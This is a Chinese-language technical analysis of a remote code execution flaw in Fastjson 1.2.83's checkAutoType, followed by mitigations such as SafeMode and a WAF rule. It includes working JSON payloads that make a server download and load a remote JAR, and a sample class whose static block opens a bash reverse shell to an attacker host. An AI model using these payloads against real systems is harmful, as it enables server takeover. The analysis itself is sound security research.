Fastjson 1.2.83 无需 Gadget RCE漏洞分析
Fastjson 1.2.83 无需 Gadget RCE:checkAutoType 中 getResourceAsStream 远程类加载漏洞深度分析
1 漏洞概述
2026 年 7 月 19 日,安全研究员 Kirill Firsov 公开披露了 Fastjson 1.x 末代版本(1.2.66 ~ 1.2.83)中一个远程代码执行漏洞。该漏洞的突破性在于:不依赖目标 classpath 中存在任何已知 Gadget 类,仅凭一条 JSON Payload 即可在默认配置下实现 RCE。
漏洞根因定位在 ParserConfig.checkAutoType() 方法第 1482 行的 typeName.replace('.', '/') 操作:该方法将 @type 值中的所有点号替换为斜杠,再拼接 .class 后缀,作为资源路径传给 ClassLoader 的 getResourceAsStream() 进行类存在性探测。攻击者构造的 @type 值经此替换后可变为指向攻击者控制服务器的 JAR URL,ClassLoader 会发起 HTTP 请求下载远程 JAR 包。若该 JAR 中的类标注了 @JSONType 注解,则 ASM 字节码扫描会将 jsonType 标志置为 true,使得第 1500 行的类加载条件 autoTypeSupport || jsonType || expectClassFlag 满足,进而调用 TypeUtils.loadClass() 加载该恶意类,触发其 <clinit> 静态初始化块执行任意代码。
2 影响范围
- 受影响版本:Fastjson 1.2.66 ~ 1.2.83(1.x 全线末代版本)
- 安全版本:无(1.x 系列无修复版本,需迁移至 fastjson2)
- 完整 RCE 条件:JDK 8 + Spring Boot FatJar(
LaunchedURLClassLoader)+ 未启用 SafeMode - autoTypeSupport 状态:默认关闭(
false)亦可触发
3 漏洞根因分析
3.1 checkAutoType 方法执行流程
ParserConfig.checkAutoType(String typeName, Class<?> expectClass, int features) 是 Fastjson 反序列化的核心安全校验方法,位于 ParserConfig.java 第 1311-1552 行。当解析器遇到 @type 键时,提取类型名后调用此方法进行安全校验。
该方法包含以下关键执行阶段:
L1329: SafeMode 检查 → 若 safeMode=true 则直接抛异常
L1338: 长度检查 → 3 ≤ len < 192
L1367: 首尾字符哈希检查 → 阻止 [ 开头和特定结尾的类名
L1386: 内部黑名单哈希检查 → internalDenyHashCodes(无条件执行)
L1397: 外部黑名单哈希检查 → denyHashCodes(条件执行)
L1418: 缓存/映射/deserializer 查找 → 查找已注册的类
L1432: 内部白名单加载 → internalWhite 时直接 loadClass
L1447: autoTypeSupport=false 黑名单 → 另一道黑名单检查
L1479: ★ getResourceAsStream 探测 → 资源存在性探测(漏洞点)
L1500: ★ loadClass 条件判断 → autoTypeSupport || jsonType || expectClassFlag
L1506: ★ jsonType 直接返回 → 跳过后续安全检查
L1513: ClassLoader/DataSource/RowSet 后置检查
L1537: 最终 autoType 检查 → 未通过则抛异常
漏洞存在于 L1479-1510 这段代码中。以下逐行分析。
3.2 关键代码段逐行分析
3.2.1 L1447-1477:autoTypeSupport=false 时的黑名单检查
在 getResourceAsStream 之前,存在一道当 autoTypeSupport=false 时执行的黑名单检查:
// ParserConfig.java L1447-1477
if (!autoTypeSupport) {
long hash = h3;
for (int i = 3; i < className.length(); ++i) {
char c = className.charAt(i);
hash ^= c;
hash *= fnv1a_64_magic_prime;
if (Arrays.binarySearch(denyHashCodes, hash) >= 0) { // L1454
if (typeName.endsWith("Exception") || typeName.endsWith("Error")) { // L1455
return null; // L1456
}
throw new JSONException("autoType is not support. " + typeName); // L1459
}
if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) { // L1463
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, true);
if (clazz == null) { return expectClass; }
if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
}
}
这段代码使用 FNV1a-64 滚动哈希对 className 进行前缀匹配。黑名单 denyHashCodes 中收录了已知危险类的哈希值(如 com.sun.rowset.JdbcRowSetImpl、com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl、javax.naming.InitialContext 等)。
关键问题:攻击者构造的 @type 值不在黑名单中。
攻击者使用的 @type 值形如 jar:http:..2130706433:19090.probe!.POC,这是一个 JAR URL 格式字符串,不是任何已知危险类的类名。FNV1a-64 哈希滚动匹配不会命中 denyHashCodes 中的任何条目。因此这段黑名单检查无法拦截。
3.2.2 L1479-1498:★ 核心缺陷——getResourceAsStream 资源探测
// ParserConfig.java L1479-1498
boolean jsonType = false;
InputStream is = null;
try {
String resource = typeName.replace('.', '/') + ".class"; // L1482: 替换!
if (defaultClassLoader != null) { // L1483
is = defaultClassLoader.getResourceAsStream(resource); // L1484: 远程请求!
} else {
is = ParserConfig.class.getClassLoader().getResourceAsStream(resource); // L1486
}
if (is != null) { // L1488
ClassReader classReader = new ClassReader(is, true); // L1489: ASM 读取字节码
TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]); // L1490
classReader.accept(visitor); // L1491: 访问者模式扫描
jsonType = visitor.hasJsonType(); // L1492: 检测 @JSONType
}
} catch (Exception e) {
// skip // L1495: 异常静默吞掉!
} finally {
IOUtils.close(is); // L1497
}
这段代码存在三个叠加缺陷,共同构成漏洞根因:
缺陷一:typeName.replace('.', '/') 无输入校验(L1482)
typeName 是从 JSON 的 @type 值直接提取的字符串,仅经过长度检查(3~192)和首尾字符哈希检查,未校验是否为合法 Java 类名格式,也未校验是否包含 URL 协议前缀。replace('.', '/') 操作将所有点号替换为斜杠,这使得攻击者可以构造特殊格式的 typeName,使其替换后成为合法的 JAR URL。
缺陷二:getResourceAsStream 无协议白名单(L1484/L1486)
Java ClassLoader 的 getResourceAsStream(String name) 方法支持通过 URL 协议加载远程资源。当 name 是一个 JAR URL(如 jar:http://attacker/evil.jar!/Evil.class)时,ClassLoader 会先下载远程 JAR 包,再从中读取指定 class 文件。代码未对 resource 的协议进行白名单限制(如仅允许 file: 或无协议的类路径资源),导致远程 URL 被当作合法资源路径处理。
缺陷三:异常被静默吞掉(L1494-1495)
即使 getResourceAsStream 或 ASM 扫描过程中发生异常(如网络错误、字节码格式错误),异常也被 catch (Exception e) { // skip } 静默吞掉,不会向上层调用者抛出。jsonType 保持为 false,流程继续执行,不产生任何告警或日志。
3.2.3 L1500-1503:★ jsonType 绕过 autoType 检查触发 loadClass
// ParserConfig.java L1500-1503
if (autoTypeSupport || jsonType || expectClassFlag) { // L1500
boolean cacheClass = autoTypeSupport || jsonType; // L1501
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass); // L1502
}
三个条件拆解:
| 条件 | 默认值 | 说明 |
|---|---|---|
autoTypeSupport |
false |
autoType 开关,默认关闭 |
jsonType |
false → true |
由 L1492 的 hasJsonType() 设置,攻击者通过 @JSONType 注解控制 |
expectClassFlag |
false |
由 expectClass 参数决定,此处 expectClass=null |
当 jsonType = true 时:false || true || false = true,条件满足,TypeUtils.loadClass() 被调用。
cacheClass = false || true = true,加载的类会被写入全局缓存 mappings。
3.2.4 L1505-1510:★ jsonType 直接返回,跳过后续安全检查
// ParserConfig.java L1505-1518
if (clazz != null) {
if (jsonType) { // L1506
if (autoTypeSupport) { // L1507
TypeUtils.addMapping(typeName, clazz); // L1508
}
return clazz; // L1510: 直接返回!
}
if (ClassLoader.class.isAssignableFrom(clazz) // L1513
|| javax.sql.DataSource.class.isAssignableFrom(clazz) // L1514
|| javax.sql.RowSet.class.isAssignableFrom(clazz) // L1515
) {
throw new JSONException("autoType is not support. " + typeName); // L1517
}
// ...
}
当 jsonType = true 且 clazz != null 时,代码在第 1510 行直接 return clazz,完全跳过了 L1513-1518 的 ClassLoader/DataSource/RowSet 安全检查。
更重要的是,也跳过了 L1537-1543 的最终 autoType 检查:
// ParserConfig.java L1537-1543
if (!autoTypeSupport) {
if (typeName.endsWith("Exception") || typeName.endsWith("Error")) {
return null;
}
throw new JSONException("autoType is not support. " + typeName);
}
如果 jsonType = false 且 autoTypeSupport = false,代码会走到这里抛出异常阻止类加载。但 jsonType = true 使流程在 L1510 就返回了,这道最终防线也被绕过。
4 攻击链完整路径分析
4.1 攻击链概览
Payload @type 值
│
▼
DefaultJSONParser.parseObject() ─── 解析 @type,调用 checkAutoType(typeName, null)
│
▼
ParserConfig.checkAutoType() ─── 安全校验主方法
│
├── [L1329] safeMode 检查 → safeMode=false,不阻止
├── [L1338] 长度检查 → 长度在 3~192 之间,通过
├── [L1367] 首尾字符检查 → 首字符 'j',尾字符 'C',通过
├── [L1386] 内部黑名单 → JAR URL 格式不在 internalDenyHashCodes,通过
├── [L1397] 外部黑名单 → 条件 false,不执行
├── [L1418] 缓存/映射查找 → 未命中
├── [L1447] !autoTypeSupport 黑名单 → JAR URL 不在 denyHashCodes,通过
│
├── [L1482] typeName.replace('.','/') + ".class" ─── ★ 替换为远程 JAR URL
├── [L1484] getResourceAsStream(jar URL) ─── ★ HTTP 下载恶意 JAR
├── [L1489] ClassReader + TypeCollector ─── ★ ASM 扫描字节码
├── [L1492] jsonType = hasJsonType() = true ─── ★ @JSONType 注解检测
│
├── [L1500] autoTypeSupport||jsonType||expectClassFlag = true
├── [L1502] TypeUtils.loadClass(typeName, classLoader, true) ─── ★ 加载恶意类
│
└── [L1510] return clazz ─── ★ 跳过所有后续安全检查,返回恶意类
4.2 Step 1:Payload 构造与发送
攻击者发送的 JSON Payload:
{"@type":"jar:http:..2130706433:19090.probe!.POC","x":1}
其中:
jar:— JAR URL 协议前缀http:— 内嵌 HTTP 子协议..— 双点号,经replace('.','/')后变为//(URL 协议分隔符)2130706433—127.0.0.1的十进制整数表示(127×256³ + 0×256² + 0×256 + 1 = 2130706433):19090— 攻击者 HTTP 服务器端口.probe— 经替换后为/probe(JAR 包路径)!— JAR URL 的入口分隔符.POC— 经替换后为/POC(JAR 包内的 class 路径)
4.3 Step 2:typeName.replace(‘.’, ‘/’) 变换分析
这是漏洞利用的核心变换。checkAutoType 第 1482 行:
String resource = typeName.replace('.', '/') + ".class";
逐字符变换:
输入: j a r : h t t p : . . 2 1 3 0 7 0 6 4 3 3 : 1 9 0 9 0 . p r o b e ! . P O C
替换: j a r : h t t p : / / 2 1 3 0 7 0 6 4 3 3 : 1 9 0 9 0 / p r o b e ! / P O C
拼接: j a r : h t t p : / / 2 1 3 0 7 0 6 4 3 3 : 1 9 0 9 0 / p r o b e ! / P O C . c l a s s
最终结果:jar:http://2130706433:19090/probe!/POC.class
这是一个标准的 JAR URL,含义为:从 http://2130706433:19090/probe 这个远程 JAR 包中加载 POC.class。
4.4 Step 3:IP 地址十进制编码的必要性
为什么不能直接使用 127.0.0.1?
因为 typeName.replace('.', '/') 会替换所有点号。如果 @type 中包含 127.0.0.1:
原始: jar:http:..127.0.0.1:19090.probe!.POC
替换: jar:http:..127/0/0/1:19090/probe!/POC ← 无效 URL
IPv4 地址中的 . 被替换为 /,URL 无法解析。
十进制编码原理:IPv4 地址 a.b.c.d 可转为 32 位无符号整数 a×256³ + b×256² + c×256 + d,JDK 的 InetAddress 实现支持将此整数解析为 IPv4 地址:
127.0.0.1 → 127×16777216 + 0×65536 + 0×256 + 1 = 2130706433
十进制表示 2130706433 不含任何 .,不受 replace('.', '/') 影响。
4.5 Step 4:getResourceAsStream 触发远程资源加载
// L1483-1487
if (defaultClassLoader != null) {
is = defaultClassLoader.getResourceAsStream(resource);
} else {
is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);
}
在 Spring Boot FatJar 部署模式下,defaultClassLoader 是 org.springframework.boot.loader.LaunchedURLClassLoader,它继承自 URLClassLoader,支持 JAR URL 协议的解析和加载。
LaunchedURLClassLoader.getResourceAsStream("jar:http://2130706433:19090/probe!/POC.class") 的执行过程:
- 解析 JAR URL,提取内嵌 URL
http://2130706433:19090/probe - 发起 HTTP GET 请求到
http://127.0.0.1:19090/probe,下载 JAR 包内容 - 解析下载的 JAR 包,从中读取
POC.class条目的字节码 - 返回指向该字节码的
InputStream
到这一步,目标服务器已经向攻击者控制的服务器发起了 HTTP 请求并下载了恶意内容。 即使后续加载失败,SSRF 已经成立。
4.6 Step 5:ASM 字节码扫描与 @JSONType 注解检测
// L1488-1493
if (is != null) {
ClassReader classReader = new ClassReader(is, true);
TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]);
classReader.accept(visitor);
jsonType = visitor.hasJsonType();
}
Fastjson 使用自实现的 ASM 字节码读取器(com.alibaba.fastjson.asm.ClassReader)解析 InputStream 中的 class 文件字节码。TypeCollector 是一个 ASM 访问者,其 visitAnnotation 方法检测类上的注解:
// TypeCollector.java L9-10, L71-74
private static String JSONType = ASMUtils.desc(com.alibaba.fastjson.annotation.JSONType.class);
public void visitAnnotation(String desc) {
if (JSONType.equals(desc)) {
jsonType = true;
}
}
JSONType 常量是 @JSONType 注解的 ASM 描述符(形如 Lcom/alibaba/fastjson/annotation/JSONType;)。当 ASM 扫描到类上标注了此注解时,jsonType 被置为 true。
攻击者在恶意类上标注 @JSONType 注解即可控制此标志。
4.7 Step 6:TypeUtils.loadClass 加载恶意类并触发 RCE
// L1500-1503
if (autoTypeSupport || jsonType || expectClassFlag) {
boolean cacheClass = autoTypeSupport || jsonType;
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
}
TypeUtils.loadClass(String className, ClassLoader classLoader, boolean cache) 的实现:
// TypeUtils.java L1760-1765
if (classLoader != null) {
clazz = classLoader.loadClass(className); // ← ClassLoader.loadClass()
if (cache) {
mappings.put(className, clazz); // ← 写入全局缓存
}
return clazz;
}
LaunchedURLClassLoader.loadClass("jar:http:..2130706433:19090.probe!.POC") 会:
- 解析类名中的 JAR URL
- 从远程 JAR 包中获取
POC.class的字节码 - 调用
defineClass()将字节码转为 JavaClass<?>对象 - 触发类的
<clinit>静态初始化块(JVM 规范要求类首次初始化时执行) - 静态块中的任意代码被执行 → RCE
4.8 Step 7:jsonType=true 跳过后续安全检查
// L1505-1510
if (clazz != null) {
if (jsonType) {
if (autoTypeSupport) {
TypeUtils.addMapping(typeName, clazz);
}
return clazz; // ← 直接返回恶意类
}
// L1513-1518 的 ClassLoader/DataSource/RowSet 检查不会执行
// L1520-1528 的 expectClass 类型检查不会执行
// L1531-1534 的 creatorConstructor 检查不会执行
// L1537-1543 的最终 autoType 检查不会执行
}
jsonType = true 使得 return clazz 在 L1510 执行,后续所有安全检查均被跳过。
5 安全检查绕过分析
5.1 各安全检查的绕过原因
| 安全检查 | 代码位置 | 绕过原因 |
|---|---|---|
| SafeMode | L1329-1331 | 默认 safeMode=false,不触发。唯一有效的防线。 |
| 长度检查 | L1338-1340 | @type 值长度在 3~192 之间,通过 |
| 首尾字符哈希 | L1367-1374 | 首字符 j、尾字符 C 的哈希不在阻止列表中 |
| 内部黑名单 (internalDenyHashCodes) | L1386-1395 | JAR URL 格式的滚动哈希不在内部黑名单中 |
| 外部黑名单 (denyHashCodes) | L1397-1416 | 执行条件 (!internalWhite) && (autoTypeSupport || expectClassFlag) = true && (false || false) = false,不执行 |
| 缓存/映射/deserializer 查找 | L1418-1431 | JAR URL 格式不在任何缓存或映射中 |
| 内部白名单 | L1432-1434 | internalWhite = false,不触发 |
| !autoTypeSupport 黑名单 | L1447-1477 | JAR URL 格式的滚动哈希不在 denyHashCodes 中,不命中 |
| getResourceAsStream 协议校验 | L1484/L1486 | 不存在任何协议校验,这是核心缺陷 |
| ClassLoader/DataSource/RowSet 检查 | L1513-1518 | jsonType=true 导致 L1510 的 return clazz 先执行,跳过 |
| 最终 autoType 检查 | L1537-1543 | 同上,跳过 |
5.2 为什么 denyHashCodes 无法拦截?
Fastjson 的黑名单基于 FNV1a-64 滚动哈希前缀匹配。denyHashCodes 数组收录的是已知危险类的哈希值,例如:
com.sun.rowset.JdbcRowSetImplcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpljavax.naming.InitialContext- 以及其他数十个已知 Gadget 类
攻击者构造的 @type 值 jar:http:..2130706433:19090.probe!.POC 不对应任何已知危险类名。其 FNV1a-64 滚动哈希不会命中 denyHashCodes 中的任何条目。
更根本的问题:黑名单只能封堵已知危险类,无法封堵攻击者自定义的类。本漏洞的恶意类由攻击者自己编写、自己部署、通过远程加载引入,类名完全可控,黑名单机制先天无法应对。
5.3 autoTypeSupport=false 为何不能阻止?
当 autoTypeSupport=false 且 jsonType=false 且 expectClassFlag=false 时,L1500 的条件为 false,loadClass 不会被调用。流程会到达 L1537-1543 抛出异常。
但 jsonType 的值由攻击者通过 @JSONType 注解控制。只要恶意类标注了 @JSONType,jsonType 就会被设为 true,使得条件满足。autoTypeSupport=false 这道防线被 jsonType 绕过。
6 恶意类构造
攻击者需要构造一个标注 @JSONType 注解、包含恶意静态初始化块的 Java 类:
import com.alibaba.fastjson.annotation.JSONType;
@JSONType // ← 使 checkAutoType 中 jsonType=true,绕过 autoTypeSupport 检查
public class POC {
static {
// 类加载时自动执行的静态初始化块
try {
Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c",
"bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1"});
} catch (Exception e) {
e.printStackTrace();
}
}
}
编译并打包为 JAR:
javac -cp fastjson-1.2.83.jar POC.java
jar cvf probe.jar POC.class
将 probe.jar 部署在攻击者控制的 HTTP 服务器(端口 19090)上。
7 JDK 版本适配
7.1 JDK 8:直接 RCE
Payload:
{"@type":"jar:http:..2130706433:19090.probe!.POC","x":1}
JDK 8 的 LaunchedURLClassLoader 完全支持 JAR URL 协议,loadClass → defineClass → <clinit> 链路畅通,一条 Payload 即可 RCE。
7.2 JDK 17/21:/proc/self/fd 模式
JDK 9+ 引入模块系统(JPMS),对 ClassLoader.defineClass() 施加限制。攻击者采用两步策略:
第一步:触发 HTTP 请求下载 JAR,Spring Boot 会将 JAR 内容缓存到临时文件:
{"@type":"jar:http:..3232252414:19090.probe!.foo.Exception"}
第二步:通过 /proc/self/fd/N(Linux 进程文件描述符)引用缓存的 JAR 文件,绕过模块限制:
{"@type":"jar:file:.proc.self.fd.3!.fd3.Exception"}
变换过程:
"jar:file:.proc.self.fd.3!.fd3.Exception"
→ "jar:file:/proc/self/fd/3!/fd3/Exception.class"
通过遍历 /proc/self/fd/ 下的文件描述符编号,找到 Spring Boot 缓存的临时 JAR 文件,实现间接加载。
7.3 短链模式(JDK 8)
更简洁的 Payload,直接通过 HTTP 协议加载 class 文件(无需 JAR 包裹):
{"@type":"http:..3232252414:19090.a"}
变换过程:
"http:..3232252414:19090.a"
→ "http://3232252414:19090/a.class"
8 与历史 Fastjson RCE 漏洞的本质区别
| 对比维度 | 历史漏洞 | 本漏洞 |
|---|---|---|
| Gadget 依赖 | 需要目标 classpath 中存在特定 Gadget 类 | 无需任何 Gadget |
| 恶意类来源 | 目标 classpath 中已有 | 攻击者远程提供,通过 getResourceAsStream 下载 |
| 绕过 autoTypeSupport | 利用 expectClass 链 / 缓存污染 / 特定类型 | 利用 @JSONType 注解使 jsonType=true |
| 黑名单有效性 | 可通过封堵特定 Gadget 类缓解 | 黑名单先天无法封堵攻击者自定义类 |
| 移除依赖有效性 | 移除 Gadget 所在 jar 包即可缓解 | 无效,恶意类不在目标 classpath 中 |
历史漏洞的攻击模式:
构造 Payload → 绕过 checkAutoType → 加载目标 classpath 中的 Gadget → Gadget 触发 RCE
本漏洞的攻击模式:
构造 Payload → checkAutoType 内的 getResourceAsStream 直接下载恶意类 → 恶意类 @JSONType 绕过后续检查 → loadClass → <clinit> → RCE
核心区别:历史漏洞中,恶意类已经存在于目标环境,防御方的策略是 "守住 Gadget"。本漏洞中,恶意类由攻击者远程注入,"守住 Gadget" 这个前提不再成立。
9 防御方案
9.1 唯一完整有效防护:SafeMode
// 代码配置
ParserConfig.getGlobalInstance().setSafeMode(true);
# JVM 启动参数
-Dfastjson.parser.safeMode=true
有效性证明:SafeMode 在 checkAutoType 的 L1329-1330 执行,位于 getResourceAsStream(L1479)之前。当 safeMode=true 时,方法直接抛出 JSONException,后续所有逻辑(包括资源探测和类加载)均不会执行。
其他防护措施不能完整覆盖的原因:
- 黑名单:无法覆盖攻击者自定义类名
- autoTypeSupport=false:被 jsonType=true 绕过
- 移除 Gadget 依赖:恶意类不由目标 classpath 提供
- WAF:可被编码/混淆绕过,且 JAR URL 格式可能不在 WAF 规则库中
9.2 WAF 临时缓解
在 WAF/ 反向代理层拦截 @type 值中含 URL 协议前缀的请求:
"@type"\s*:\s*"[^"]*(jar:|http:|https:|file:|ftp:)[^"]*"
局限:仅作临时缓解,可能被编码绕过。
9.3 长期方案:迁移至 Fastjson 2.x
Fastjson 2.x 完全重构了类型安全机制,不受此漏洞影响。官方已停止维护 1.x 系列。
10 总结
本漏洞的根因是 ParserConfig.checkAutoType() 方法中的 getResourceAsStream 资源探测逻辑存在三个叠加缺陷:
typeName.replace('.', '/')无输入校验——允许 JAR URL 格式字符串通过,..变//构成 URL 协议分隔符getResourceAsStream无协议白名单——ClassLoader 支持jar:/http:协议,触发远程下载@JSONType注解使jsonType=true——绕过autoTypeSupport=false限制,满足loadClass条件,且直接return clazz跳过所有后续安全检查
这三个缺陷叠加,使得攻击者可以通过一条 JSON Payload 在目标服务器上发起远程请求、下载恶意字节码、加载恶意类并执行任意代码,全程不依赖目标环境中的任何 Gadget 类,不受黑名单、autoTypeSupport、后置安全检查的任何约束。
参考资料:
- 0x7eTeam/fastjson-1.2.83-rce — PoC 与靶场
- ThanatosXingYu/2026FastjsonPoC — PoC
- Kirill Firsov 披露推文
- Fastjson 1.2.83 源码 — ParserConfig.java / TypeUtils.java / TypeCollector.java